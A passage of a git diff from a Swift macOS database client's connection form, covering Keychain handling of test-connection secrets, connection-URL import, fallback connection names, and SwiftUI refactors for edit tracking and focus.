ConnectionFailureClassifier.recoveryAction(for: error), - action != .editConnection { - self?.presentRecoverableTestFailure(error, action: action, connection: testConn, window: window) - } else { - AlertHelper.showErrorSheet( - title: String(localized: "Connection Test Failed"), - message: SSLHandshakeError.formatted(error), - window: window - ) - } - } - } - } - } - - // The test tears down first so the sign-in sheet never covers a running one; a finished - // sign-in tests again, so the Test button reports the result in place. - private func offerSignIn( - _ provider: ConnectionSignInProvider, - for error: Error, - fields: [String: String], - testId: UUID, - window: NSWindow? - ) async { - cleanupTestSecrets(for: testId) - isTesting = false - testTask = nil - guard await ConnectionSignInPrompt.offer(provider, for: error, fields: fields, window: window) else { return } - test() - } - - private struct TunnelFormStates { - let ssh: SSHTunnelFormState - let cloudflare: CloudflareTunnelFormState - let cloudSQLProxy: CloudSQLProxyFormState - let socksProxy: SOCKSProxyFormState - let tunnelCommand: TunnelCommandFormState - } - - private func persistTestSecrets( - for testId: UUID, - password: String, - promptForPassword: Bool, - tunnelStates: TunnelFormStates, - sslClientKeyPassphrase: String, - sslClientKeyPath: String, - connectionType: DatabaseType, - additionalFieldValues: [String: String] - ) { - let sshState = tunnelStates.ssh - let cloudflareState = tunnelStates.cloudflare - let cloudSQLProxyState = tunnelStates.cloudSQLProxy - let socksProxyState = tunnelStates.socksProxy - - // A test's copies never leave this Mac, whatever the password sync setting says. - _ = services.connectionStorage.stagingSecretEdits(for: testId, deviceOnly: true) { - if !password.isEmpty && !promptForPassword { - services.connectionStorage.savePassword(password, for: testId) - } - if sshState.enabled && sshState.profileId == nil { - if (sshState.authMethod == .password || sshState.authMethod == .keyboardInteractive) - && !sshState.password.isEmpty - { - services.connectionStorage.saveSSHPassword(sshState.password, for: testId) - } - if sshState.authMethod == .privateKey && !sshState.keyPassphrase.isEmpty { - services.connectionStorage.saveKeyPassphrase(sshState.keyPassphrase, for: testId) - } - if sshState.totpMode == .autoGenerate && !sshState.totpSecret.isEmpty { - services.connectionStorage.saveTOTPSecret(sshState.totpSecret, for: testId) - } - } - - if !sslClientKeyPassphrase.isEmpty - && !sslClientKeyPath.trimmingCharacters(in: .whitespaces).isEmpty - { - services.connectionStorage.saveSSLClientKeyPassphrase(sslClientKeyPassphrase, for: testId) - } - - if cloudflareState.enabled && cloudflareState.authMethod == .serviceToken { - services.connectionStorage.saveCloudflareTokenId(cloudflareState.serviceTokenId, for: testId) - services.connectionStorage.saveCloudflareTokenSecret(cloudflareState.serviceTokenSecret, for: testId) - } - - if cloudSQLProxyState.enabled && cloudSQLProxyState.authMode == .serviceAccountKey - && !cloudSQLProxyState.serviceAccountKeyJSON.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty { - services.connectionStorage.saveCloudSQLProxyServiceAccountKey( - cloudSQLProxyState.serviceAccountKeyJSON, for: testId - ) - } - - if socksProxyState.enabled && !socksProxyState.password.isEmpty { - services.connectionStorage.saveSOCKSProxyPassword(socksProxyState.password, for: testId) - } - - for field in services.pluginManager.additionalConnectionFields(for: connectionType) - where field.isSecure - { - if let value = additionalFieldValues[field.id], !value.isEmpty { - services.connectionStorage.savePluginSecureField(value, fieldId: field.id, for: testId) - } - } - } - } - - func cleanupTestSecrets(for testId: UUID) { - services.connectionStorage.deletePassword(for: testId) - services.connectionStorage.deleteSSHPassword(for: testId) - services.connectionStorage.deleteKeyPassphrase(for: testId) - services.connectionStorage.deleteSSLClientKeyPassphrase(for: testId) - services.connectionStorage.deleteTOTPSecret(for: testId) - services.connectionStorage.deleteCloudflareTokenId(for: testId) - services.connectionStorage.deleteCloudflareTokenSecret(for: testId) - services.connectionStorage.deleteCloudSQLProxyServiceAccountKey(for: testId) - services.connectionStorage.deleteSOCKSProxyPassword(for: testId) - let secureFieldIds = services.pluginManager.secureConnectionFieldIds(for: network.type) - services.connectionStorage.deleteAllPluginSecureFields(for: testId, fieldIds: secureFieldIds) - LoadableExtensionApprovalStore.shared.revoke(for: [testId]) - temporaryTestIds.remove(testId) - } - - /// Every additional field value the form currently holds, across all three panes. - /// - /// The panes each own the values for their own section, so a `visibleWhen` rule that points at - /// a field in another section can never see it from inside one pane. Redis needs exactly that: - /// the Sentinel credentials live under Authentication and appear only when the Connection - /// Mode field, which lives under Connection, says sentinel. - var allAdditionalFieldValues: [String: String] { - auth.additionalFieldValues - .merging(network.additionalFieldValues) { _, network in network } - .merging(advanced.additionalFieldValues) { _, advanced in advanced } - } - - /// One engine over the current type's fields and the merged values, for field visibility, - /// built-in password hiding and required/range validation. The three pane view models read it - /// instead of each re-deriving the same answers from their own value slice. - var presentation: ConnectionPresentation { - ConnectionPresentation( - fields: services.pluginManager.additionalConnectionFields(for: network.type), - values: allAdditionalFieldValues, - hidesBuiltInPassword: PluginMetadataRegistry.shared.snapshot(for: network.type)? - .connection.hidesBuiltInPassword ?? false - ) - } - - private func targetValues(for section: FieldSection) -> [String: String] { - switch section { - case .authentication: return auth.additionalFieldValues - case .connection: return network.additionalFieldValues - case .advanced: return advanced.additionalFieldValues - } - } - - private func setFieldValue(_ value: String, fieldId: String, section: FieldSection) { - switch section { - case .authentication: - auth.additionalFieldValues[fieldId] = value - case .connection: - network.additionalFieldValues[fieldId] = value - case .advanced: - advanced.additionalFieldValues[fieldId] = value - } - } - - // MARK: - URL import - - private func applyParsed(_ parsed: ParsedConnectionURL) { - let oldType = network.type - network.type = parsed.type - if oldType != parsed.type { - applyTypeDefaults(parsed.type, includeNetwork: false) - auth.resetForType(parsed.type) - advanced.resetForType(parsed.type) - } - - if let socketPath = parsed.localSocketPath, network.supportsLocalSocket { - network.endpoint = .localSocket - network.localSocketPath = socketPath - transport = nil - } else { - // Left on Socket, normalizeTransport would drop the SSH server the URL names. - network.endpoint = .hostAndPort - } - network.host = parsed.host - network.port = String(parsed.resolvedPort) - network.database = parsed.database - auth.username = parsed.username - auth.password = parsed.password - ssl.applyImported(parsed.sslModeResolution) - - if let sshHostValue = parsed.sshHost { - /// Through the transport setter rather than the flag, so a URL naming an SSH server - /// can never leave a second transport enabled beside it. - transport = .ssh - ssh.state.host = sshHostValue - ssh.state.port = parsed.sshPort.map(String.init) ?? "" - ssh.state.username = parsed.sshUsername ?? "" - if let sshPass = parsed.sshPassword, !sshPass.isEmpty { - ssh.state.password = sshPass - } - if parsed.usePrivateKey == true { - ssh.state.authMethod = .privateKey - } - if parsed.useSSHAgent == true { - ssh.state.authMethod = .sshAgent - ssh.state.applyAgentSocketPath(parsed.agentSocket ?? "") - } - if parsed.sshNoAuth == true { - ssh.state.authMethod = .none - } - } - - if let hostList = PluginManager.shared.additionalConnectionFields(for: parsed.type).endpointHostList { - if let multiHost = parsed.multiHost, !multiHost.isEmpty { - network.additionalFieldValues[hostList.id] = multiHost - } else { - network.additionalFieldValues[hostList.id] = HostListEndpoint.parse( - parsed.host, - defaultPort: parsed.resolvedPort - )?.entry - } - } - - let mongoKeysAuth = auth.additionalFieldValues.keys.filter { - ($0.hasPrefix("mongo") || $0.hasPrefix("mongoParam_")) && $0 != "mongoHosts" - } - for key in mongoKeysAuth { - auth.additionalFieldValues.removeValue(forKey: key) - } - let mongoKeysAdvanced = advanced.additionalFieldValues.keys.filter { - ($0.hasPrefix("mongo") || $0.hasPrefix("mongoParam_")) && $0 != "mongoHosts" - } - for key in mongoKeysAdvanced { - advanced.additionalFieldValues.removeValue(forKey: key) - } - - if let authSourceValue = parsed.authSource, !authSourceValue.isEmpty { - writeFieldByRegistry("mongoAuthSource", value: authSourceValue) - } - if parsed.useSrv { - writeFieldByRegistry("mongoUseSrv", value: "true") - } - for (key, value) in parsed.mongoQueryParams where !value.isEmpty { - switch key.lowercased() { - case "authmechanism": - writeFieldByRegistry("mongoAuthMechanism", value: value) - case "replicaset": - writeFieldByRegistry("mongoReplicaSet", value: value) - case "uuidrepresentation": - writeFieldByRegistry("mongoUuidRepresentation", value: value) - // Secrets go to the Keychain through the SSL pane and a secure field, never into a plain option. - case "tlscertificatekeyfile", "sslclientcertificatekeyfile": - ssl.clientCertPath = value - ssl.clientKeyPath = value - case "tlscertificatekeyfilepassword", "sslclientcertificatekeypassword": - ssl.clientKeyPassphrase = value - case "authmechanismproperties": - let split = ConnectionSecretOptions.splitSessionToken(from: value) - if let remaining = split.remaining { - writeFieldByRegistry("mongoParam_\(key)", value: remaining) - } - if let token = split.sessionToken { - writeFieldByRegistry(ConnectionSecretOptions.mongoSessionTokenFieldId, value: token) - } - case "proxypassword": - // libmongoc has no proxy options, so the password would only sit in the record. - continue - default: - writeFieldByRegistry("mongoParam_\(key)", value: value) - } - } - if parsed.type.pluginTypeId == "Redis", let redisDb = parsed.redisDatabase { - writeFieldByRegistry("redisDatabase", value: String(redisDb)) - } - if let svcName = parsed.oracleServiceName, !svcName.isEmpty { - writeFieldByRegistry("oracleServiceName", value: svcName) - } - for (fieldId, value) in parsed.additionalFields where fieldId != MySQLLocalSocket.fieldKey { - writeFieldByRegistry(fieldId, value: value) - } - if let hex = parsed.statusColor, !hex.isEmpty { - customization.color = ConnectionURLParser.connectionColor(fromHex: hex) - } - if let env = parsed.envTag, !env.isEmpty, - let resolved = ConnectionURLParser.tagId(fromEnvName: env), - !customization.tagIds.contains(resolved) { - customization.tagIds.append(resolved) - } - if parsed.type.pluginTypeId == "libSQL", !parsed.host.isEmpty { - var urlString = "https://\(HostListEndpoint.urlHost(parsed.host))" - if let port = parsed.port { - urlString += ":\(port)" - } - writeFieldByRegistry("databaseUrl", value: urlString) - } - if parsed.type.pluginTypeId == "Cloudflare D1", !parsed.host.isEmpty { - writeFieldByRegistry("cfAccountId", value: parsed.host) - } - if parsed.type.pluginTypeId == "DuckDB" { - if parsed.host.isEmpty { - writeFieldByRegistry("duckdbMode", value: "local") - writeFieldByRegistry("duckdbFilePath", value: parsed.database) - } else { - writeFieldByRegistry("duckdbMode", value: "remote") - writeFieldByRegistry("duckdbHost", value: parsed.host) - if let port = parsed.port { - writeFieldByRegistry("duckdbPort", value: String(port)) - } - if !parsed.database.isEmpty { - writeFieldByRegistry("duckdbAlias", value: parsed.database) - } - } - } - if let connectionName = parsed.connectionName, !connectionName.isEmpty { - network.name = connectionName - } else if network.name.isEmpty { - network.name = parsed.suggestedName - } - if let level = parsed.safeModeLevel, let mode = SafeModeLevel.from(urlInteger: level) { - customization.safeModeLevel = mode - } - } - - private func writeFieldByRegistry(_ fieldId: String, value: String) { - let registry = services.pluginManager.additionalConnectionFields(for: network.type) - guard let field = registry.first(where: { $0.id == fieldId }) else { - advanced.additionalFieldValues[fieldId] = value - return - } - switch field.section { - case .authentication: - auth.additionalFieldValues[fieldId] = value - case .connection: - network.additionalFieldValues[fieldId] = value - case .advanced: - advanced.additionalFieldValues[fieldId] = value - } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ConnectionFormTab.swift b/apple/TablePro/Views/ConnectionForm/ConnectionFormTab.swift deleted file mode 100644 index 82da7ec128..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ConnectionFormTab.swift +++ /dev/null @@ -1,59 +0,0 @@ -// -// ConnectionFormTab.swift -// TablePro -// - -import Foundation - -/// The facets of one connection. -/// -/// A tab bar rather than a sidebar because a connection is a single object: a sidebar is how -/// macOS navigates between peer items, and there is only ever one item here. The set is fixed -/// except for Network, so the form does not change shape between database types. -enum ConnectionFormTab: String, CaseIterable, Identifiable, Hashable { - case general - case network - case options - case appearance - - var id: String { rawValue } - - var title: String { - switch self { - case .general: return String(localized: "General") - case .network: return String(localized: "Network") - case .options: return String(localized: "Options") - case .appearance: return String(localized: "Appearance") - } - } - - /// What is stopping this tab from being savable, in the words the user needs to fix it. - /// - /// These strings were computed and thrown away before: the form showed a warning triangle - /// and a disabled Save and never said which field was empty. - @MainActor - func validationIssues(for coordinator: ConnectionFormCoordinator) -> [String] { - switch self { - case .general: - return coordinator.network.validationIssues + coordinator.auth.validationIssues - case .network: - let groups: [[String]] = [ - coordinator.ssh.validationIssues, - coordinator.remoteFile.validationIssues, - coordinator.cloudflareTunnel.validationIssues, - coordinator.cloudSQLProxy.validationIssues, - coordinator.socksProxy.validationIssues, - coordinator.tunnelCommand.validationIssues, - coordinator.ssl.validationIssues - ] - return groups.flatMap { $0 } - case .options: - /// `customization` is claimed here rather than by Appearance because Safe Mode is the - /// only control it owns that could ever fail a rule, and Safe Mode renders on this tab. - /// Claiming it by view model instead would send the user to a tab with no such control. - return coordinator.advanced.validationIssues + coordinator.customization.validationIssues - case .appearance: - return [] - } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Retype.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Retype.swift index 19195b26a1..3174e887dd 100644 --- a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Retype.swift +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Retype.swift @@ -110,14 +110,15 @@ extension ConnectionDraft { // Not the nearest kind: a kept MySQL port forward would otherwise become SQLite's file copy. private func keepTransport(into next: inout ConnectionDraft, newTraits: ConnectionTypeTraits) { - guard let transport else { return } - guard ConnectionEditorEngine.availableTransports(next, newTraits).contains(transport) else { return } + // A path only Remote File reads would otherwise ride into the saved SSH configuration. + next.ssh.remoteFilePath = "" + guard let transport, ConnectionEditorEngine.availableTransports(next, newTraits).contains(transport) else { return } next.transport = transport if transport == .ssh, newTraits.socketForwardApplies { next.sshForwardUnixSocketPath = sshForwardUnixSocketPath } - if transport != .remoteFile { - next.ssh.remoteFilePath = "" + if transport == .remoteFile { + next.ssh.remoteFilePath = ssh.remoteFilePath } } diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Edits.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Edits.swift index fd03c6ca4c..aa81cc4d25 100644 --- a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Edits.swift +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Edits.swift @@ -67,7 +67,7 @@ extension ConnectionEditorEngine { let ssh = sshValues(draft, context) return ConnectionFormEdits( - name: draft.name, + name: effectiveName(draft, traits, context), host: host, port: port, database: draft.database, @@ -154,6 +154,8 @@ extension ConnectionEditorEngine { struct TestFingerprint: Equatable { let edits: ConnectionFormEdits let secrets: [String] + // Socket with no path writes what Host and Port did, yet a result earned on Host and Port no longer applies. + var endpoint: ConnectionDraft.Endpoint? } static func testFingerprint( @@ -196,7 +198,7 @@ extension ConnectionEditorEngine { draft.cloudSQLProxy.serviceAccountKeyJSON, draft.socksProxy.password ] + pluginSecrets - return TestFingerprint(edits: edits, secrets: secrets) + return TestFingerprint(edits: edits, secrets: secrets, endpoint: draft.endpoint) } // A test record carries what the saved one would, under a throwaway id. diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Issues.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Issues.swift index e5bb2f1fce..f0108ddb5a 100644 --- a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Issues.swift +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Issues.swift @@ -51,9 +51,6 @@ extension ConnectionEditorEngine { layout: EditorLayout ) -> [PendingIssue] { var pending: [PendingIssue] = [] - if draft.name.trimmingCharacters(in: .whitespaces).isEmpty { - pending.append(PendingIssue(row: .builtIn(.name), message: String(localized: "Connection name is required"))) - } if draft.database.trimmingCharacters(in: .whitespaces).isEmpty { switch traits.connectionMode { case .fileBased: diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Name.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Name.swift new file mode 100644 index 0000000000..054043ef71 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Name.swift @@ -0,0 +1,67 @@ +// +// ConnectionEditorEngine+Name.swift +// TablePro +// + +import Foundation +import TableProConnectionLibrary +import TableProPluginKit + +extension ConnectionEditorEngine { + // Name never blocks: an empty one saves as the saved name, or as what the form points at. + static func effectiveName(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits, _ context: EditorContext) -> String { + draft.name.trimmingCharacters(in: .whitespaces).isEmpty ? fallbackName(draft, traits, context) : draft.name + } + + static func fallbackName(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits, _ context: EditorContext) -> String { + context.savedName.trimmingCharacters(in: .whitespaces).isEmpty ? suggestedName(draft, traits) : context.savedName + } + + static func suggestedName(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> String { + if let path = databaseFilePath(draft, traits) { + let stem = ((path as NSString).lastPathComponent as NSString).deletingPathExtension + return stem.isEmpty ? traits.displayName : stem + } + let host = suggestedHost(draft, traits) + let database = traits.showsBuiltInDatabaseField ? draft.database.trimmingCharacters(in: .whitespaces) : "" + switch (host.isEmpty, database.isEmpty) { + case (false, false): return "\(host)/\(database)" + case (false, true): return host + case (true, false): return "\(traits.displayName) \(database)" + case (true, true): return traits.displayName + } + } + + // A file type names its file, a remote file too; nil for a server. + private static func databaseFilePath(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> String? { + if draft.transport == .remoteFile { + return draft.ssh.remoteFilePath.trimmingCharacters(in: .whitespaces) + } + switch traits.localFilePathField { + case .additionalField(let fieldId): + return (draft.fieldValues[fieldId] ?? "").trimmingCharacters(in: .whitespaces) + case .database: + return draft.database.trimmingCharacters(in: .whitespaces) + case nil: + return traits.connectionMode == .fileBased ? draft.database.trimmingCharacters(in: .whitespaces) : nil + } + } + + private static func suggestedHost(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> String { + if usesLocalSocket(draft, traits) { + return "localhost" + } + if let hostList = visibleHostListFields(draft, traits).first { + let raw = draft.fieldValues[hostList.id] ?? hostList.defaultValue ?? "" + return HostListEndpoint.parseList(raw, defaultPort: traits.defaultPort).first?.host ?? "" + } + if traits.connectionMode != .network { + guard let hostFieldId = traits.serverEndpointFields?.hostFieldId, + let field = traits.field(hostFieldId), + isVisible(field, draft, traits) + else { return "" } + return value(of: field, in: draft).trimmingCharacters(in: .whitespaces) + } + return draft.host.trimmingCharacters(in: .whitespaces) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine.swift index 3f542cb291..59f52c475d 100644 --- a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine.swift +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine.swift @@ -12,6 +12,7 @@ import TableProSSHConfig struct EditorContext: Equatable, Sendable { var isNew = true var originalType: DatabaseType? + var savedName = "" var aiEnabled = false var syncEnabled = false var participatesInSync = false diff --git a/apple/TablePro/Views/ConnectionForm/Engine/EditorLayout.swift b/apple/TablePro/Views/ConnectionForm/Engine/EditorLayout.swift index 3faf12521b..9b631cfc1f 100644 --- a/apple/TablePro/Views/ConnectionForm/Engine/EditorLayout.swift +++ b/apple/TablePro/Views/ConnectionForm/Engine/EditorLayout.swift @@ -295,8 +295,7 @@ struct FieldIssue: Hashable, Identifiable, Sendable { var blocksSave: Bool { severity == .error } - // A test signs in without a name, so only the name issue spares it. - var blocksTest: Bool { severity == .error && row != .builtIn(.name) } + var blocksTest: Bool { severity == .error } } struct FocusRequest: Equatable, Sendable { diff --git a/apple/TablePro/Views/ConnectionForm/Facets/AIAndMCPFacetView.swift b/apple/TablePro/Views/ConnectionForm/Facets/AIAndMCPFacetView.swift index 6ff3afe9c5..52c26519e2 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/AIAndMCPFacetView.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/AIAndMCPFacetView.swift @@ -32,7 +32,7 @@ struct AIAndMCPFacetView: View { private func rowView(_ row: EditorRow) -> some View { switch row { case .builtIn(.externalAccess): - Picker(selection: store.binding(\.ai.externalAccess)) { + Picker(selection: store.tracking(store.binding(\.ai.externalAccess), row: row)) { ForEach(ExternalAccessLevel.allCases) { level in Text(verbatim: level.displayName).tag(level) } @@ -41,8 +41,9 @@ struct AIAndMCPFacetView: View { } .pickerStyle(.segmented) .accessibilityIdentifier(row.accessibilityIdentifier) + .editorRowFocus(row, store: store) case .builtIn(.aiPolicy): - Picker(selection: store.binding(\.ai.policy)) { + Picker(selection: store.tracking(store.binding(\.ai.policy), row: row)) { Text(String(localized: "Use Default")) .tag(AIConnectionPolicy?.none) ForEach(AIConnectionPolicy.allCases) { policy in @@ -53,10 +54,12 @@ struct AIAndMCPFacetView: View { EditorRowLabel(String(localized: "AI Policy"), row: row, store: store) } .accessibilityIdentifier(row.accessibilityIdentifier) + .editorRowFocus(row, store: store) case .builtIn(.alwaysAllowedTools): ForEach(store.draft.ai.alwaysAllowedTools, id: \.self) { tool in LabeledContent { Button(String(localized: "Forget")) { + store.noteEdited(row) store.forgetAlwaysAllowed(tool) } .accessibilityLabel(String(format: String(localized: "Forget %@"), tool)) diff --git a/apple/TablePro/Views/ConnectionForm/Facets/AdvancedAttachedDatabaseRows.swift b/apple/TablePro/Views/ConnectionForm/Facets/AdvancedAttachedDatabaseRows.swift index ff90869051..d0f20600e1 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/AdvancedAttachedDatabaseRows.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/AdvancedAttachedDatabaseRows.swift @@ -7,9 +7,7 @@ struct AdvancedAttachedDatabaseRows: View { @ObservedObject var store: ConnectionEditorStore @State private var model = AttachedDatabaseListModel(encoded: "") - @State private var isEdited = false @FocusState private var focusedEntry: UUID? - @State private var handledFocusToken: UUID? private var row: EditorRow { .plugin(fieldID: fieldID) } private var value: Binding { store.pluginFieldBinding(fieldID) } @@ -52,19 +50,16 @@ struct AdvancedAttachedDatabaseRows: View { } .accessibilityIdentifier("connection-attached-databases-add") } label: { - if let issue = EditorIssueVisibility.issue(for: row, in: store, isEdited: isEdited) { - NoticeLabel(issue.message, severity: issue.severity == .error ? .error : .warning) + if let issue = store.revealedIssue(for: row) { + NoticeLabel(issue.message, severity: issue.noticeSeverity) } else if model.rows.isEmpty { Text(String(localized: "No Attached Databases")) .foregroundStyle(.secondary) } } - .onAppear { - reload() - focus(store.focusRequest) - } + .onAppear(perform: reload) .onChange(of: value.wrappedValue) { _ in reload() } - .onChange(of: store.focusRequest) { focus($0) } + .onEditorFocusRequest(row, store: store) { focusedEntry = model.rows.first?.id } } private func nameBinding(for id: UUID) -> Binding { @@ -93,7 +88,7 @@ struct AdvancedAttachedDatabaseRows: View { } private func commit() { - isEdited = true + store.noteEdited(row) let encoded = model.encoded guard value.wrappedValue != encoded else { return } value.wrappedValue = encoded @@ -112,14 +107,6 @@ struct AdvancedAttachedDatabaseRows: View { commit() } - // The issue names no entry, so the first name field takes the focus. - private func focus(_ request: FocusRequest?) { - guard let request, request.row == row, request.token != handledFocusToken else { return } - handledFocusToken = request.token - let target = model.rows.first?.id - DispatchQueue.main.async { focusedEntry = target } - } - private func chooseFiles() async { let panel = NSOpenPanel() let rule = DatabaseFileBrowseRule(type: store.draft.type, extensions: store.traits.fileExtensions) diff --git a/apple/TablePro/Views/ConnectionForm/Facets/AdvancedExtensionRows.swift b/apple/TablePro/Views/ConnectionForm/Facets/AdvancedExtensionRows.swift index ac2f9898c6..f82288acde 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/AdvancedExtensionRows.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/AdvancedExtensionRows.swift @@ -8,9 +8,7 @@ struct AdvancedExtensionRows: View { @ObservedObject var store: ConnectionEditorStore @State private var model = LoadableExtensionListModel(encoded: "") - @State private var isEdited = false @FocusState private var focusedEntry: UUID? - @State private var handledFocusToken: UUID? private var row: EditorRow { .plugin(fieldID: fieldID) } private var value: Binding { store.pluginFieldBinding(fieldID) } @@ -60,19 +58,16 @@ struct AdvancedExtensionRows: View { } .accessibilityIdentifier("connection-extensions-add") } label: { - if let issue = EditorIssueVisibility.issue(for: row, in: store, isEdited: isEdited) { - NoticeLabel(issue.message, severity: issue.severity == .error ? .error : .warning) + if let issue = store.revealedIssue(for: row) { + NoticeLabel(issue.message, severity: issue.noticeSeverity) } else if model.rows.isEmpty { Text(String(localized: "No Extensions")) .foregroundStyle(.secondary) } } - .onAppear { - reload() - focus(store.focusRequest) - } + .onAppear(perform: reload) .onChange(of: value.wrappedValue) { _ in reload() } - .onChange(of: store.focusRequest) { focus($0) } + .onEditorFocusRequest(row, store: store) { focusedEntry = model.rows.first?.id } } private func pathBinding(for id: UUID) -> Binding { @@ -101,7 +96,7 @@ struct AdvancedExtensionRows: View { } private func commit() { - isEdited = true + store.noteEdited(row) let encoded = model.encoded guard value.wrappedValue != encoded else { return } value.wrappedValue = encoded @@ -120,14 +115,6 @@ struct AdvancedExtensionRows: View { commit() } - // The issue names no entry, so the first file field takes the focus. - private func focus(_ request: FocusRequest?) { - guard let request, request.row == row, request.token != handledFocusToken else { return } - handledFocusToken = request.token - let target = model.rows.first?.id - DispatchQueue.main.async { focusedEntry = target } - } - private func chooseFiles() async { let panel = NSOpenPanel() let validator = AdvancedExtensionPanelValidator() diff --git a/apple/TablePro/Views/ConnectionForm/Facets/AdvancedFacetView.swift b/apple/TablePro/Views/ConnectionForm/Facets/AdvancedFacetView.swift index 6607d61057..74b949769a 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/AdvancedFacetView.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/AdvancedFacetView.swift @@ -56,7 +56,7 @@ struct AdvancedFacetView: View { store: store ) case .builtIn(.identifierCase): - Picker(selection: store.binding(\.options.completionIdentifierCase)) { + Picker(selection: store.tracking(store.binding(\.options.completionIdentifierCase), row: row)) { ForEach(SQLIdentifierCase.allCases, id: \.self) { identifierCase in Text(verbatim: Self.title(for: identifierCase)).tag(identifierCase) } @@ -64,11 +64,13 @@ struct AdvancedFacetView: View { EditorRowLabel(String(localized: "Identifier case"), row: row, store: store) } .accessibilityIdentifier(row.accessibilityIdentifier) + .editorRowFocus(row, store: store) case .builtIn(.localOnly): - Toggle(isOn: store.binding(\.options.localOnly)) { + Toggle(isOn: store.tracking(store.binding(\.options.localOnly), row: row)) { EditorRowLabel(String(localized: "Local only"), row: row, store: store) } .accessibilityIdentifier(row.accessibilityIdentifier) + .editorRowFocus(row, store: store) case .plugin(let fieldID): pluginRow(fieldID) default: diff --git a/apple/TablePro/Views/ConnectionForm/Facets/AppearanceFacetView.swift b/apple/TablePro/Views/ConnectionForm/Facets/AppearanceFacetView.swift index 4551418b76..10983e5bba 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/AppearanceFacetView.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/AppearanceFacetView.swift @@ -42,7 +42,7 @@ struct AppearanceFacetView: View { case .builtIn(.icon): LabeledContent { SymbolWell( - iconName: store.binding(\.appearance.iconName), + iconName: store.tracking(store.binding(\.appearance.iconName), row: row), subject: .connection(store.draft.type), color: store.draft.appearance.color, accessibilityIdentifier: BuiltInRow.icon.accessibilityIdentifier @@ -50,23 +50,26 @@ struct AppearanceFacetView: View { } label: { EditorRowLabel(String(localized: "Icon"), row: row, store: store) } + .editorRowFocus(row, store: store) case .builtIn(.color): AppearanceColorRow(store: store) case .builtIn(.tags): // The editor names its tag menu `connection-form-tags` and confirms a delete that reaches every connection. LabeledContent { - ConnectionTagEditor(tagIds: store.binding(\.appearance.tagIds)) + ConnectionTagEditor(tagIds: store.tracking(store.binding(\.appearance.tagIds), row: row)) } label: { EditorRowLabel(String(localized: "Tags"), row: row, store: store) } + .editorRowFocus(row, store: store) case .builtIn(.group): LabeledContent { - ConnectionGroupPicker(selectedGroupId: store.binding(\.appearance.groupId)) + ConnectionGroupPicker(selectedGroupId: store.tracking(store.binding(\.appearance.groupId), row: row)) .accessibilityElement(children: .contain) .accessibilityIdentifier(BuiltInRow.group.accessibilityIdentifier) } label: { EditorRowLabel(String(localized: "Group"), row: row, store: store) } + .editorRowFocus(row, store: store) case .plugin(let fieldID): PluginFieldRow(fieldID: fieldID, store: store) default: @@ -80,7 +83,7 @@ struct AppearanceColorRow: View { @ObservedObject var store: ConnectionEditorStore var body: some View { - Picker(selection: store.binding(\.appearance.color)) { + Picker(selection: store.tracking(store.binding(\.appearance.color), row: .builtIn(.color))) { item(.none) Divider() ForEach(ConnectionColor.allCases.filter { !$0.isDefault }) { color in @@ -90,6 +93,7 @@ struct AppearanceColorRow: View { EditorRowLabel(String(localized: "Color"), row: .builtIn(.color), store: store) } .accessibilityIdentifier(BuiltInRow.color.accessibilityIdentifier) + .editorRowFocus(.builtIn(.color), store: store) } @ViewBuilder diff --git a/apple/TablePro/Views/ConnectionForm/Facets/GeneralAuthenticationRows.swift b/apple/TablePro/Views/ConnectionForm/Facets/GeneralAuthenticationRows.swift index f16da31b23..e6ce5a6069 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/GeneralAuthenticationRows.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/GeneralAuthenticationRows.swift @@ -37,8 +37,10 @@ struct GeneralCredentialsRows: View { } label: { EditorRowLabel(String(localized: "Credentials"), row: row, store: store) } + .editorRowFocus(row, store: store) } else { picker + .editorRowFocus(row, store: store) } if let profile = store.selectedCredentialProfile { @@ -94,6 +96,7 @@ struct GeneralCredentialsRows: View { set: { newValue in switch newValue { case .mode(let mode): + store.noteEdited(row) store.setCredentialMode(mode) case .saveAsProfile: pickerGeneration += 1 @@ -122,7 +125,6 @@ struct GeneralPasswordRow: View { @ObservedObject var store: ConnectionEditorStore @StateObject private var reveal = SecretReveal() - @State private var isEdited = false @FocusState private var isFocused: Bool private var requiresAuthentication: Bool { @@ -153,10 